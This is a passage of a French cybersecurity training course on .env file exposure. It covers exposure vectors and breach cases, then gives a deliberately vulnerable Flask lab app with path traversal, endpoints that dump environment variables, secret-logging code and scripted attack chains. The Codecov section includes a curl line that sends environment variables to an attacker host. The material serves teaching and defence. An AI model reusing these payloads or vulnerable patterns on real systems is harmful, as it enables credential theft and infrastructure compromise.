- Pratiquer avec des CTF (Capture The Flag)

**Bon courage dans vos aventures en cybersécurité ! [SECURISE]**

# 24. ENVIRONMENT VARIABLES & .ENV FILE EXPOSURE

## [DOCS] THÉORIE APPROFONDIE

### Qu'est-ce qu'un fichier .env ?

**Définition :**
Fichier de configuration contenant des **variables d'environnement** avec des informations sensibles (credentials, API keys, secrets) utilisées par les applications. L'exposition de ces fichiers permet un **accès complet à l'infrastructure**.

**Analogie simple :**

Imagine un trousseau de clés universel :
- **Usage normal** : Trousseau dans un coffre-fort sécurisé
- **Fichier .env** : Liste de toutes les clés écrites sur un papier
- **Exposition .env** : Ce papier traîne sur le bureau public
- **.env dans Git** : Ce papier photocopié et distribué à tout le monde
- **.env.backup accessible** : Copie du trousseau dans une poubelle publique

-> Dans tous les cas : **compromission totale de l'infrastructure** !

---

## [RECHERCHE] TYPES DE DONNÉES SENSIBLES DANS .ENV

### Contenu typique d'un fichier .env

```bash
# Database Credentials
DB_HOST=db.production.internal
DB_PORT=5432
DB_NAME=production_db
DB_USER=admin
DB_PASSWORD=SuperSecret123!

# AWS Credentials
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
AWS_REGION=us-east-1
AWS_S3_BUCKET=company-private-files

# API Keys
STRIPE_SECRET_KEY=sk_live_51HxPQy2eZvKYlo2C...
SENDGRID_API_KEY=SG.abc123xyz789...
GOOGLE_MAPS_API_KEY=AIzaSyD-abc123...
OPENAI_API_KEY=sk-proj-abc123...

# JWT Secrets
JWT_SECRET=my-ultra-secret-key-12345
JWT_EXPIRATION=86400
REFRESH_TOKEN_SECRET=another-secret-key-67890

# OAuth
GITHUB_CLIENT_ID=abc123xyz789
GITHUB_CLIENT_SECRET=secret123abc456
GOOGLE_OAUTH_CLIENT_SECRET=GOCSPX-abc123...

# SMTP
SMTP_HOST=smtp.gmail.com
SMTP_PORT=587
SMTP_USER=noreply@company.com
SMTP_PASSWORD=EmailPassword123!

# Encryption
ENCRYPTION_KEY=32-byte-encryption-key-here-abc
COOKIE_SECRET=cookie-signing-secret-xyz

# Third-party Services
SLACK_WEBHOOK_URL=https://hooks.slack.com/services/T00/B00/xxx
TWILIO_ACCOUNT_SID=ACxxx...
TWILIO_AUTH_TOKEN=xxx...

# Application
APP_SECRET=super-secret-app-key
SESSION_SECRET=session-secret-key-123
ADMIN_PASSWORD=AdminPass123!
```

**Impact si exposé :**
- [ARGENT] **Perte financière** : Utilisation frauduleuse Stripe, AWS
- [DEVERROUILLE] **Accès complet DB** : Dump de toutes les données
- [EMAIL] **Spam via SMTP** : Réputation email ruinée
- [CLE] **Accès infrastructure** : Compromission totale AWS
- [UTILISATEUR] **Vol de données** : Accès S3, bases de données
- [ALERTE] **Conformité** : Violations RGPD, PCI-DSS

---

## [ALERTE] VECTEURS D'EXPOSITION

### 1. **Exposition directe via Web Server**

**Mauvaise configuration Apache/Nginx :**

```apache
# [X] Apache par défaut - .env accessible
# http://site.com/.env -> téléchargement direct
```

**Attaque :**
```bash
curl http://vulnerable-site.com/.env
# Résultat : Tout le fichier .env téléchargé
```

---

### 2. **Fichiers .env dans Git/GitHub**

**Erreur courante :**

```bash
# Développeur commit accidentellement
git add .
git commit -m "Initial commit"
git push

# .env maintenant dans l'historique Git public
```

**Statistiques réelles :**
- **2023** : 10+ millions de secrets exposés sur GitHub
- **Capital One breach (2019)** : AWS credentials dans Git
- **Uber breach (2016)** : AWS keys dans repo privé compromis

---

### 3. **Fichiers de backup exposés**

**Patterns courants :**

```
.env.backup
.env.old
.env.save
.env~
.env.bak
.env.local
.env.production
.env.prod.backup
env.txt
.environment
```

---

### 4. **Path Traversal vers .env**

**Exploitation :**

```bash
# Via vulnérabilité Path Traversal
http://site.com/download?file=../../../../.env
http://site.com/image?path=../../../.env
```

---

### 5. **Erreurs/Debug révélant .env**

**Stack trace exposant variables :**

```python
# [X] Mode debug activé en production
DEBUG = True

# Erreur -> Stack trace complet avec env vars
Traceback (most recent call last):
  ...
  DB_PASSWORD = os.getenv('DB_PASSWORD')  # 'SuperSecret123!'
  AWS_SECRET_ACCESS_KEY = os.getenv('AWS_SECRET_ACCESS_KEY')  # 'wJalr...'
```

---

### 6. **Logs contenant secrets**

```python
# [X] Logger les variables d'environnement
logger.info(f"Connecting to database with password: {DB_PASSWORD}")
logger.debug(f"Environment: {os.environ}")
```

---

### 7. **Docker images avec .env**

```dockerfile
# [X] Dockerfile copie .env
COPY . /app
COPY .env /app/.env

# Image Docker publiée -> .env dans toutes les layers
```

---

### 8. **CI/CD Logs**

```yaml
# [X] GitHub Actions affiche secrets
- name: Debug
  run: |
    echo "DB_PASSWORD=${{ secrets.DB_PASSWORD }}"  # [X] Visible dans logs
    printenv  # [X] Affiche tout
```

---

## [DANGER] CAS RÉELS MAJEURS

### 1. **Uber Breach (2016) - $148M Fine**

**Faille :** 
- AWS credentials dans repo GitHub privé
- Attaquants ont compromis compte d'un développeur
- Accès au repo -> AWS keys -> 57 millions de comptes

**Impact :**
- 57 millions d'utilisateurs
- 600,000 chauffeurs
- $148 millions d'amende
- Cover-up de 1 an révélé

---

### 2. **Capital One (2019) - $80M Fine**

**Faille :**
- Credentials AWS hardcodées + SSRF
- 100 millions de dossiers clients
- Données cartes de crédit, SSN

**Impact :**
- $80 millions d'amende
- $150-200 millions en frais légaux
- Réputation détruite

---

### 3. **Toyota (2022) - 300K Credentials**

**Faille :**
- Clé d'accès T-Connect dans repo GitHub public
- 296,019 adresses email exposées pendant 5 ans

---

### 4. **Facebook/Meta (2019) - 600M Passwords**

**Faille :**
- Passwords en clair dans logs internes
- 600 millions de mots de passe accessibles
- 20,000 employés avec accès

---

### 5. **Codecov Supply Chain (2021)**

**Faille :**
- Script bash modifié pour exfiltrer .env
- Milliers d'entreprises affectées
- Secrets exposés : IBM, HashiCorp, etc.

**Méthode :**
```bash
# Script malveillant injecté
curl https://attacker.com/collect -d "$(env)"
```

---

## [CODE] EXERCICE 26 : .ENV FILE EXPOSURE

### Objectif

Application complète avec :
- Fichier .env avec credentials réalistes
- Multiple vecteurs d'exposition (.env, .env.backup, Git)
- Path traversal vers .env
- Debug mode révélant secrets
- Logs avec secrets
- Docker avec .env
- Démonstration exploitation complète
- Protection avec vault, rotation, chiffrement

---

### PARTIE A : INFRASTRUCTURE VULNÉRABLE

**1. Créer le fichier .env :**

```bash
# .env (fichier principal)
# [ATTENTION] CE FICHIER CONTIENT DES SECRETS RÉALISTES (EXEMPLES)

# Application
APP_NAME=SecureApp
APP_ENV=production
APP_DEBUG=true
APP_URL=http://localhost:5000
APP_SECRET_KEY=super-secret-key-that-should-never-be-exposed-12345

# Database
DB_CONNECTION=postgresql
DB_HOST=db.production.company.internal
DB_PORT=5432
DB_DATABASE=production_database
DB_USERNAME=admin_user
DB_PASSWORD=P@ssw0rd_DB_2024_VerySecret!

# AWS Credentials
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE123
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
AWS_DEFAULT_REGION=us-east-1
AWS_BUCKET=company-private-files-prod

# Stripe Payment
STRIPE_PUBLIC_KEY=pk_live_51abc123xyz789
STRIPE_SECRET_KEY=sk_live_51HxPQy2eZvKYlo2CEXAMPLEKEY123456789
STRIPE_WEBHOOK_SECRET=whsec_abc123xyz789

# JWT Authentication
JWT_SECRET_KEY=jwt-signing-secret-key-prod-2024
JWT_ALGORITHM=HS256
JWT_EXPIRATION_HOURS=24
REFRESH_TOKEN_SECRET=refresh-token-secret-key-xyz

# Email SMTP
MAIL_MAILER=smtp
MAIL_HOST=smtp.gmail.com
MAIL_PORT=587
MAIL_USERNAME=noreply@company.com
MAIL_PASSWORD=Gmail_App_Password_2024_Secret!
MAIL_FROM_ADDRESS=noreply@company.com

# OAuth Providers
GOOGLE_CLIENT_ID=123456789-abc123xyz.apps.googleusercontent.com
GOOGLE_CLIENT_SECRET=GOCSPX-abc123xyz789_Secret
GITHUB_CLIENT_ID=abc123xyz789client
GITHUB_CLIENT_SECRET=github_secret_key_abc123xyz789

# API Keys
OPENAI_API_KEY=sk-proj-abc123xyz789OpenAIKeyExample
SENDGRID_API_KEY=SG.abc123xyz789.SendGridAPIKeyExample
TWILIO_ACCOUNT_SID=ACabc123xyz789
TWILIO_AUTH_TOKEN=abc123xyz789twiliotoken
GOOGLE_MAPS_API_KEY=AIzaSyD-abc123xyz789MapsKey

# Redis Cache
REDIS_HOST=redis.production.internal
REDIS_PASSWORD=Redis_Password_2024_Secret!
REDIS_PORT=6379

# Slack Integration
SLACK_WEBHOOK_URL=https://hooks.slack.com/services/T00/B00/XXXXXXXXXXXX
SLACK_BOT_TOKEN=xoxb-abc-123-xyz-789-SlackBotToken

# Monitoring & Analytics
SENTRY_DSN=https://abc123@sentry.io/123456
DATADOG_API_KEY=abc123xyz789datadogkey
NEW_RELIC_LICENSE_KEY=abc123xyz789newrelickey

# Encryption
ENCRYPTION_KEY=32_byte_encryption_key_for_data
COOKIE_SECRET=cookie-signing-secret-key-123

# Admin Access
ADMIN_USERNAME=superadmin
ADMIN_PASSWORD=AdminPassword2024!Secret
ADMIN_API_KEY=admin-api-key-abc123xyz789

# Feature Flags
FEATURE_PREMIUM=true
FEATURE_BETA=false

# Rate Limiting
RATE_LIMIT_MAX=1000
RATE_LIMIT_WINDOW=3600

# Session
SESSION_LIFETIME=120
SESSION_ENCRYPT=true
SESSION_COOKIE_NAME=app_session
```

**2. Créer fichiers de backup :**

```bash
# .env.backup
# (même contenu que .env)

# .env.old
# (anciennes credentials encore valides)
DB_PASSWORD=OldPassword123!
AWS_SECRET_ACCESS_KEY=old_aws_key_still_valid_xyz789

# .env.production
# (production credentials)
APP_DEBUG=false
DB_PASSWORD=ProductionDB_Pass_2024!

# .env.local
# (local dev mais avec vraies credentials)
APP_DEBUG=true
DB_PASSWORD=P@ssw0rd_DB_2024_VerySecret!
```

---

### PARTIE B : APPLICATION VULNÉRABLE

```python
# env_exposure_vulnerable.py
from flask import Flask, request, jsonify, render_template_string, send_file
from flask_cors import CORS
import os
from dotenv import load_dotenv
import logging
import subprocess
import hashlib

# [X] Charger .env
load_dotenv()

app = Flask(__name__)
CORS(app)

# [X] Debug mode activé
app.config['DEBUG'] = os.getenv('APP_DEBUG', 'true').lower() == 'true'
app.secret_key = os.getenv('APP_SECRET_KEY')

# [X] Logging avec secrets
logging.basicConfig(level=logging.DEBUG)
logger = logging.getLogger(__name__)

# [X] ERREUR CRITIQUE : Logger toutes les variables d'environnement au démarrage
logger.info("=" * 80)
logger.info("APPLICATION STARTING")
logger.info("=" * 80)
logger.info(f"Database: {os.getenv('DB_HOST')}:{os.getenv('DB_PORT')}")
logger.info(f"Database User: {os.getenv('DB_USERNAME')}")
logger.info(f"Database Password: {os.getenv('DB_PASSWORD')}")  # [X] CRITIQUE
logger.info(f"AWS Access Key: {os.getenv('AWS_ACCESS_KEY_ID')}")  # [X] CRITIQUE
logger.info(f"Stripe Secret: {os.getenv('STRIPE_SECRET_KEY')}")  # [X] CRITIQUE
logger.info("=" * 80)

@app.route('/')
def index():
    return render_template_string('''
<!DOCTYPE html>
<html>
<head>
    <title>.env Exposure Demo</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            font-family: Arial, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            padding: 20px;
            color: white;
        }
        .container { max-width: 1600px; margin: 0 auto; }
        .header {
            background: rgba(0,0,0,0.6);
            padding: 30px;
            border-radius: 10px;
            margin-bottom: 30px;
            text-align: center;
        }
        .warning {
            background: #ff4444;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            font-weight: bold;
        }
        .grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(400px, 1fr));
            gap: 20px;
            margin-bottom: 30px;
        }
        .card {
            background: rgba(255,255,255,0.1);
            backdrop-filter: blur(10px);
            padding: 25px;
            border-radius: 10px;
        }
        .card h3 { margin-bottom: 15px; color: #ffd700; }
        input {
            width: 100%;
            padding: 12px;
            margin-bottom: 15px;
            border: 2px solid rgba(255,255,255,0.3);
            border-radius: 5px;
            background: rgba(0,0,0,0.3);
            color: white;
        }
        button {
            width: 100%;
            padding: 12px;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            border: none;
            border-radius: 5px;
            color: white;
            font-weight: bold;
            cursor: pointer;
            margin-bottom: 10px;
        }
        .output {
            background: rgba(0,0,0,0.7);
            padding: 20px;
            border-radius: 10px;
            min-height: 150px;
            font-family: 'Courier New', monospace;
            white-space: pre-wrap;
            max-height: 600px;
            overflow-y: auto;
            word-break: break-all;
        }
        .attacks {
            background: rgba(255,68,68,0.2);
            border: 2px solid #ff4444;
            padding: 20px;
            border-radius: 10px;
        }
        .attack-item {
            background: rgba(0,0,0,0.3);
            padding: 15px;
            margin: 10px 0;
            border-radius: 5px;
        }
        code {
            background: rgba(0,0,0,0.5);
            padding: 2px 6px;
            border-radius: 3px;
        }
        .success { color: #4ade80; }
        .error { color: #ff4444; }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <h1>[SECURISE] Secure Application Platform</h1>
            <p>.env File Exposure Vulnerability Showcase</p>
        </div>
        
        <div class="warning">
            [ATTENTION] APPLICATION VULNÉRABLE - MULTIPLES .ENV EXPOSURE VECTORS
        </div>
        
        <div class="grid">
            <!-- FILE DOWNLOAD -->
            <div class="card">
                <h3>[DOSSIER] File Download Service</h3>
                <input type="text" id="download-file" placeholder="Filename" value="report.pdf">
                <button onclick="downloadFile()">Download File</button>
            </div>
            
            <!-- HEALTH CHECK -->
            <div class="card">
                <h3>[HOPITAL] System Health Check</h3>
                <button onclick="healthCheck()">Check System</button>
            </div>
            
            <!-- DEBUG INFO -->
            <div class="card">
                <h3>[BUG] Debug Information</h3>
                <button onclick="getDebugInfo()">Get Debug Info</button>
            </div>
            
            <!-- VIEW LOGS -->
            <div class="card">
                <h3>[LISTE] View Application Logs</h3>
                <button onclick="viewLogs()">View Logs</button>
            </div>
            
            <!-- ENVIRONMENT INFO -->
            <div class="card">
                <h3>[CONFIG] Environment Info</h3>
                <button onclick="getEnvInfo()">Get Environment</button>
            </div>
            
            <!-- TRIGGER ERROR -->
            <div class="card">
                <h3>[IMPACT] Trigger Error (Debug)</h3>
                <button onclick="triggerError()">Trigger Error</button>
            </div>
        </div>
        
        <div class="card">
            <h3>[GRAPHIQUE] Output Log</h3>
            <div class="output" id="output">Results will appear here...</div>
        </div>
        
        <div class="attacks">
            <h2>[DANGER] .env Exposure Attack Vectors</h2>
            
            <div class="attack-item">
                <h4>1. Direct .env Access</h4>
                <p>Try: <code>http://localhost:5000/.env</code></p>
                <button onclick="attack1()">Test Direct Access</button>
            </div>
            
            <div class="attack-item">
                <h4>2. Backup Files</h4>
                <p>Try: <code>.env.backup</code>, <code>.env.old</code>, <code>.env~</code></p>
                <button onclick="attack2()">Enumerate Backups</button>
            </div>
            
            <div class="attack-item">
                <h4>3. Path Traversal to .env</h4>
                <p>Filename: <code>../../../../.env</code></p>
                <button onclick="attack3()">Path Traversal Attack</button>
            </div>
            
            <div class="attack-item">
                <h4>4. Debug Mode Leaking Secrets</h4>
                <p>Trigger error to expose environment variables</p>
                <button onclick="attack4()">Exploit Debug Mode</button>
            </div>
            
            <div class="attack-item">
                <h4>5. Logs Containing Secrets</h4>
                <p>Application logs contain DB passwords, API keys</p>
                <button onclick="attack5()">Read Logs</button>
            </div>
            
            <div class="attack-item">
                <h4>6. Health Check Exposure</h4>
                <p>Health endpoint reveals configuration</p>
                <button onclick="attack6()">Check Health Endpoint</button>
            </div>
            
            <div class="attack-item">
                <h4>7. Git Repository (.git/)</h4>
                <p>Check if .git directory accessible</p>
                <button onclick="attack7()">Check Git Exposure</button>
            </div>
            
            <div class="attack-item">
                <h4>8. Complete Exploitation Chain</h4>
                <p>Automated full infrastructure compromise</p>
                <button onclick="attackChain()">Execute Chain</button>
            </div>
        </div>
    </div>
    
    <script>
        async function downloadFile() {
            const filename = document.getElementById('download-file').value;
            const output = document.getElementById('output');
            
            output.textContent = 'Downloading file...';
            
            try {
                const response = await fetch('/api/download', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({ filename })
                });
                
                const data = await response.json();
                output.textContent = JSON.stringify(data, null, 2);
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        async function healthCheck() {
            const output = document.getElementById('output');
            output.textContent = 'Checking system health...';
            
            try {
                const response = await fetch('/api/health');
                const data = await response.json();
                output.textContent = JSON.stringify(data, null, 2);
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        async function getDebugInfo() {
            const output = document.getElementById('output');
            output.textContent = 'Fetching debug information...';
            
            try {
                const response = await fetch('/api/debug');
                const data = await response.json();
                output.textContent = JSON.stringify(data, null, 2);
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        async function viewLogs() {
            const output = document.getElementById('output');
            output.textContent = 'Loading logs...';
            
            try {
                const response = await fetch('/api/logs');
                const data = await response.json();
                output.textContent = JSON.stringify(data, null, 2);
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        async function getEnvInfo() {
            const output = document.getElementById('output');
            output.textContent = 'Getting environment info...';
            
            try {
                const response = await fetch('/api/env');
                const data = await response.json();
                output.textContent = JSON.stringify(data, null, 2);
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        async function triggerError() {
            const output = document.getElementById('output');
            output.textContent = 'Triggering error...';
            
            try {
                const response = await fetch('/api/trigger-error');
                const data = await response.text();
                output.innerHTML = data;
            } catch (error) {
                output.textContent = 'Error triggered: ' + error.message;
            }
        }
        
        // Attack functions
        async function attack1() {
            const output = document.getElementById('output');
            output.textContent = '[DANGER] Testing direct .env access...\\n\\n';
            
            const files = ['.env', '/.env', '/app/.env'];
            
            for (const file of files) {
                try {
                    const response = await fetch(file);
                    
                    if (response.status === 200) {
                        const content = await response.text();
                        output.textContent += `[OK] SUCCESS: ${file}\\n`;
                        output.textContent += `Content:\\n${content.substring(0, 500)}...\\n\\n`;
                        return;
                    }
                } catch (e) {}
            }
            
            output.textContent += '[X] Direct access blocked';
        }
        
        async function attack2() {
            const output = document.getElementById('output');
            output.textContent = '[DANGER] Enumerating backup files...\\n\\n';
            
            const backups = [
                '.env.backup',
                '.env.old',
                '.env.save',
                '.env~',
                '.env.bak',
                '.env.local',
                '.env.production',
                '.env.prod',
                'env.txt',
                '.environment'
            ];
            
            let found = [];
            
            for (const backup of backups) {
                try {
                    const response = await fetch(`/api/download`, {
                        method: 'POST',
                        headers: { 'Content-Type': 'application/json' },
                        body: JSON.stringify({ filename: backup })
                    });
                    
                    const data = await response.json();
                    
                    if (data.content) {
                        found.push(backup);
                        output.textContent += `[OK] FOUND: ${backup}\\n`;
                        output.textContent += `Content preview: ${data.content.substring(0, 200)}...\\n\\n`;
                    }
                } catch (e) {}
            }
            
            if (found.length === 0) {
                output.textContent += '[X] No backup files found';
            } else {
                output.textContent += `\\n[ALERTE] Found ${found.length} backup files!`;
            }
        }
        
        async function attack3() {
            const output = document.getElementById('output');
            output.textContent = '[DANGER] Path Traversal to .env...\\n\\n';
            
            const payloads = [
                '../.env',
                '../../.env',
                '../../../.env',
                '../../../../.env',
                '../../../../../.env',
                '..\\..\\..\\..\\..env',
                '....//....//....//....//....env'
            ];
            
            for (const payload of payloads) {
                try {
                    const response = await fetch('/api/download', {
                        method: 'POST',
                        headers: { 'Content-Type': 'application/json' },
                        body: JSON.stringify({ filename: payload })
                    });
                    
                    const data = await response.json();
                    
                    if (data.content && data.content.includes('DB_PASSWORD')) {
                        output.textContent += `[OK] SUCCESS: ${payload}\\n`;
                        output.textContent += `Content:\\n${data.content}\\n\\n`;
                        output.textContent += '[ALERTE] FULL .env FILE EXPOSED!';
                        return;
                    }
                } catch (e) {}
            }
            
            output.textContent += '[X] Path traversal blocked or failed';
        }
        
        async function attack4() {
            const output = document.getElementById('output');
            output.textContent = '[DANGER] Exploiting Debug Mode...\\n\\n';
            
            try {
                const response = await fetch('/api/trigger-error');
                const html = await response.text();
                
                // Extract secrets from error page
                const secrets = [];
                
                if (html.includes('DB_PASSWORD')) secrets.push('DB_PASSWORD');
                if (html.includes('AWS_SECRET')) secrets.push('AWS_SECRET_ACCESS_KEY');
                if (html.includes('STRIPE_SECRET')) secrets.push('STRIPE_SECRET_KEY');
                if (html.includes('JWT_SECRET')) secrets.push('JWT_SECRET_KEY');
                
                if (secrets.length > 0) {
                    output.textContent += '[OK] Debug mode exposed secrets!\\n\\n';
                    output.textContent += `Exposed variables: ${secrets.join(', ')}\\n\\n`;
                    output.textContent += `HTML preview:\\n${html.substring(0, 1000)}...`;
                } else {
                    output.textContent += '[X] No secrets found in error';
                }
            } catch (e) {
                output.textContent += 'Error: ' + e.message;
            }
        }
        
        async function attack5() {
            const output = document.getElementById('output');
            output.textContent = '[DANGER] Reading application logs...\\n\\n';
            
            try {
                const response = await fetch('/api/logs');
                const data = await response.json();
                
                if (data.logs) {
                    output.textContent += '[OK] Logs accessed!\\n\\n';
                    
                    // Extract secrets from logs
                    const secrets = data.logs.match(/(password|secret|key)[:=]\s*[\w-]+/gi);
                    
                    if (secrets) {
                        output.textContent += `Found ${secrets.length} potential secrets in logs:\\n`;
                        secrets.forEach(s => output.textContent += `  - ${s}\\n`);
                    }
                    
                    output.textContent += `\\nLogs:\\n${data.logs.substring(0, 2000)}...`;
                }
            } catch (e) {
                output.textContent += 'Error: ' + e.message;
            }
        }
        
        async function attack6() {
            const output = document.getElementById('output');
            output.textContent = '[DANGER] Checking health endpoint...\\n\\n';
            
            try {
                const response = await fetch('/api/health');
                const data = await response.json();
                
                output.textContent += '[OK] Health endpoint accessed!\\n\\n';
                output.textContent += JSON.stringify(data, null, 2);
                
                if (data.database || data.aws || data.redis) {
                    output.textContent += '\\n\\n[ALERTE] Configuration details exposed!';
                }
            } catch (e) {
                output.textContent += 'Error: ' + e.message;
            }
        }
        
        async function attack7() {
            const output = document.getElementById('output');
            output.textContent = '[DANGER] Checking Git exposure...\\n\\n';
            
            const gitFiles = [
                '/.git/config',
                '/.git/HEAD',
                '/.git/logs/HEAD'
            ];
            
            for (const file of gitFiles) {
                try {
                    const response = await fetch(file);
                    
                    if (response.status === 200) {
                        const content = await response.text();
                        output.textContent += `[OK] FOUND: ${file}\\n`;
                        output.textContent += `Content: ${content.substring(0, 200)}...\\n\\n`;
                    }
                } catch (e) {}
            }
            
            output.textContent += '\\nNote: .git exposure allows full repo download including .env history';
        }
        
        async function attackChain() {
            const output = document.getElementById('output');
            output.textContent = '[DANGER] COMPLETE ATTACK CHAIN\\n';
            output.textContent += '=' + '='.repeat(79) + '\\n\\n';
            
            let credentials = {
                database: null,
                aws: null,
                stripe: null,
                jwt: null
            };
            
            // Step 1: Try direct access
            output.textContent += 'Step 1: Direct .env access...\\n';
            try {
                const response = await fetch('/api/download', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({ filename: '../../../.env' })
                });
                
                const data = await response.json();
                
                if (data.content) {
                    output.textContent += '[OK] .env file obtained!\\n\\n';
                    
                    // Parse credentials
                    const lines = data.content.split('\\n');
                    lines.forEach(line => {
                        if (line.includes('DB_PASSWORD=')) {
                            credentials.database = line.split('=')[1];
                        }
                        if (line.includes('AWS_SECRET_ACCESS_KEY=')) {
                            credentials.aws = line.split('=')[1];
                        }
                        if (line.includes('STRIPE_SECRET_KEY=')) {
                            credentials.stripe = line.split('=')[1];
                        }
                        if (line.includes('JWT_SECRET_KEY=')) {
                            credentials.jwt = line.split('=')[1];
                        }
                    });
                }
            } catch (e) {}
            
            // Step 2: Check health for more info
            output.textContent += 'Step 2: Health endpoint reconnaissance...\\n';
            try {
                const response = await fetch('/api/health');
                const health = await response.json();
                output.textContent += `[OK] System info: ${JSON.stringify(health).substring(0, 100)}...\\n\\n`;
            } catch (e) {}
            
            // Step 3: Read logs
            output.textContent += 'Step 3: Reading logs for additional secrets...\\n';
            try {
                const response = await fetch('/api/logs');
                const logs = await response.json();
                output.textContent += '[OK] Logs accessed\\n\\n';
            } catch (e) {}
            
            // Summary
            output.textContent += '=' + '='.repeat(79) + '\\n';
            output.textContent += '[GRAPHIQUE] EXFILTRATION SUMMARY\\n';
            output.textContent += '=' + '='.repeat(79) + '\\n\\n';
            
            output.textContent += 'Compromised Credentials:\\n';
            output.textContent += `  Database: ${credentials.database ? '[OK] OBTAINED' : '[X] Failed'}\\n`;
            output.textContent += `  AWS: ${credentials.aws ? '[OK] OBTAINED' : '[X] Failed'}\\n`;
            output.textContent += `  Stripe: ${credentials.stripe ? '[OK] OBTAINED' : '[X] Failed'}\\n`;
            output.textContent += `  JWT: ${credentials.jwt ? '[OK] OBTAINED' : '[X] Failed'}\\n`;
            
            output.textContent += '\\n[ALERTE] CRITICAL: FULL INFRASTRUCTURE COMPROMISE!';
        }
    </script>
</body>
</html>
    ''')

# [X] ROUTE VULNÉRABLE 1 : Download avec Path Traversal
@app.route('/api/download', methods=['POST'])
def download_vulnerable():
    """
    [X] VULNÉRABLE : Path traversal vers .env
    """
    data = request.json
    filename = data.get('filename', '')
    
    # [X] ERREUR : Pas de validation path traversal
    try:
        with open(filename, 'r') as f:
            content = f.read()
        
        return jsonify({
            'success': True,
            'filename': filename,
            'content': content
        })
        
    except FileNotFoundError:
        return jsonify({'error': 'File not found'}), 404
    except Exception as e:
        return jsonify({'error': str(e)}), 500

# [X] ROUTE VULNÉRABLE 2 : Health Check exposant config
@app.route('/api/health')
def health_vulnerable():
    """
    [X] VULNÉRABLE : Expose configuration details
    """
    return jsonify({
        'status': 'healthy',
        'database': {
            'host': os.getenv('DB_HOST'),
            'port': os.getenv('DB_PORT'),
            'name': os.getenv('DB_DATABASE'),
            'user': os.getenv('DB_USERNAME')
            # [X] Password not included but still reveals too much
        },
        'aws': {
            'region': os.getenv('AWS_DEFAULT_REGION'),
            'bucket': os.getenv('AWS_BUCKET')
        },
        'redis': {
            'host': os.getenv('REDIS_HOST'),
            'port': os.getenv('REDIS_PORT')
        },
        'environment': os.getenv('APP_ENV'),
        'debug': os.getenv('APP_DEBUG')
    })

# [X] ROUTE VULNÉRABLE 3 : Debug Info
@app.route('/api/debug')
def debug_vulnerable():
    """
    [X] VULNÉRABLE : Expose toutes les variables d'environnement
    """
    if os.getenv('APP_DEBUG', 'false').lower() == 'true':
        # [X] ERREUR CRITIQUE : Retourne TOUTES les env vars
        return jsonify({
            'environment': dict(os.environ),
            'config': {
                'DB_PASSWORD': os.getenv('DB_PASSWORD'),
                'AWS_SECRET_ACCESS_KEY': os.getenv('AWS_SECRET_ACCESS_KEY'),
                'STRIPE_SECRET_KEY': os.getenv('STRIPE_SECRET_KEY'),
                'JWT_SECRET_KEY': os.getenv('JWT_SECRET_KEY')
            }
        })
    else:
        return jsonify({'error': 'Debug mode disabled'}), 403

# [X] ROUTE VULNÉRABLE 4 : Logs
@app.route('/api/logs')
def logs_vulnerable():
    """
    [X] VULNÉRABLE : Logs contiennent des secrets
    """
    # Simuler logs avec secrets
    logs = f"""
2024-01-08 10:00:00 - INFO - Application starting
2024-01-08 10:00:01 - INFO - Connecting to database at {os.getenv('DB_HOST')}
2024-01-08 10:00:02 - DEBUG - Database password: {os.getenv('DB_PASSWORD')}
2024-01-08 10:00:03 - INFO - AWS configured with key: {os.getenv('AWS_ACCESS_KEY_ID')}
2024-01-08 10:00:04 - DEBUG - AWS secret: {os.getenv('AWS_SECRET_ACCESS_KEY')}
2024-01-08 10:00:05 - INFO - Stripe initialized
2024-01-08 10:00:06 - DEBUG - Stripe secret key: {os.getenv('STRIPE_SECRET_KEY')}
2024-01-08 10:00:07 - INFO - JWT secret configured: {os.getenv('JWT_SECRET_KEY')}
2024-01-08 10:00:08 - INFO - Application ready
    """
    
    return jsonify({
        'logs': logs
    })

# [X] ROUTE VULNÉRABLE 5 : Environment Info
@app.route('/api/env')
def env_vulnerable():
    """
    [X] VULNÉRABLE : Retourne variables d'environnement
    """
    # [X] Retourne toutes les variables
    return jsonify({
        'environment': dict(os.environ)
    })

# [X] ROUTE VULNÉRABLE 6 : Trigger Error (Debug Mode)
@app.route('/api/trigger-error')
def trigger_error():
    """
    [X] VULNÉRABLE : Erreur en mode debug expose stack trace avec env vars
    """
    # Forcer une erreur pour exposer le stack trace
    db_password = os.getenv('DB_PASSWORD')
    aws_secret = os.getenv('AWS_SECRET_ACCESS_KEY')
    stripe_key = os.getenv('STRIPE_SECRET_KEY')
    
    # [X] Division par zéro pour trigger erreur
    result = 1 / 0
    
    return jsonify({'result': result})

# [X] ROUTE : Serve .env directement (si pas bloqué par serveur web)
@app.route('/.env')
def serve_env():
    """
    [X] DANGEREUX : Si cette route existe, .env accessible
    """
    try:
        return send_file('.env', mimetype='text/plain')
    except:
        return "File not found", 404

if __name__ == '__main__':
    print("[RAPIDE] .env Exposure (VULNÉRABLE) sur http://localhost:5000")
    print("[ATTENTION]  DANGER : Multiples .env Exposure Vectors !")
    print("\n[DANGER] Vulnérabilités :")
    print("   1. Path traversal vers .env")
    print("   2. Fichiers .env.backup accessibles")
    print("   3. Debug mode expose secrets")
    print("   4. Logs contiennent passwords")
    print("   5. Health endpoint révèle configuration")
    print("   6. /api/env retourne toutes les variables")
    print("   7. /.env directement accessible (si non bloqué)")
    print("   8. Stack traces exposent env vars")
    
    app.run(debug=True, port=5000)
```

---

